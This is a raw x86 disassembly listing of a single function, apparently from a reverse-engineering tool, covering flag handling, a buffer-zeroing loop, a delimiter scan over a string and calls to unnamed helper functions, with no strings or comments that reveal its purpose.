mov eax, dword [0xaa5a04]
and eax, 4
jne 0x40a36b
mov eax, dword [0xaa5a04]
or eax, 4
mov dword [0xaa5a04], eax
lea eax, [ebp - 0x30]
push eax
mov ecx, 0xaa599c
call fcn.0040bd54
push 0x4ce774
call fcn.004b7f3d
pop ecx
and dword [ebp - 0xc4], 0
jmp 0x40a381
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jae 0x40a397
mov eax, dword [ebp - 0xc4]
mov byte [ebp + eax - 0x30], 0
jmp 0x40a374
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movsx eax, byte [eax]
movsx ecx, byte [0xaa59f4]
cmp eax, ecx
je 0x40a3b7
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jmp 0x40a39d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x228]
call fcn.0040e6e0
push 0xaa599c
lea ecx, [ebp - 0x228]
call fcn.0040bd8d
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x228]
call fcn.0040bdb2
push dword [eax]
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x228]
call fcn.0040bd9e
push dword [eax]
lea ecx, [ebp - 0x258]
call fcn.0040e709
lea eax, [ebp - 0x258]
push eax
call fcn.00404d32
pop ecx
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
je 0x40a49a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x240]
call fcn.0040bd54
lea edx, [ebp - 0x200]
lea ecx, [ebp - 0x240]
call fcn.00403781
movzx eax, al
test eax, eax
je 0x40a471
push 0
push dword [ebp - 0x200]
push 0
push dword [ebp - 0x184]
call fcn.00409129
add esp, 0x10
mov dword [ebp - 0x28], eax
jmp 0x40a48d
push 1
push 0
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 0x184]
call fcn.00409129
add esp, 0x10
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x240]
call fcn.0040bd83
jmp 0x40a4cd
cmp dword [ebp + 0x10], 0
jne 0x40a4b0
mov ecx, dword [ebp + 0xc]
call fcn.0040bba0
mov dword [ebp - 0x18c], eax
jmp 0x40a4ba
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x18c], eax
push dword [ebp - 0x18c]
push dword [ebp + 8]
call fcn.00408b5a
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x258]
call fcn.0040bd0d
lea ecx, [ebp - 0x228]
call fcn.0040bd83
mov eax, dword [ebp - 0x28]
jmp 0x40a4ea
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret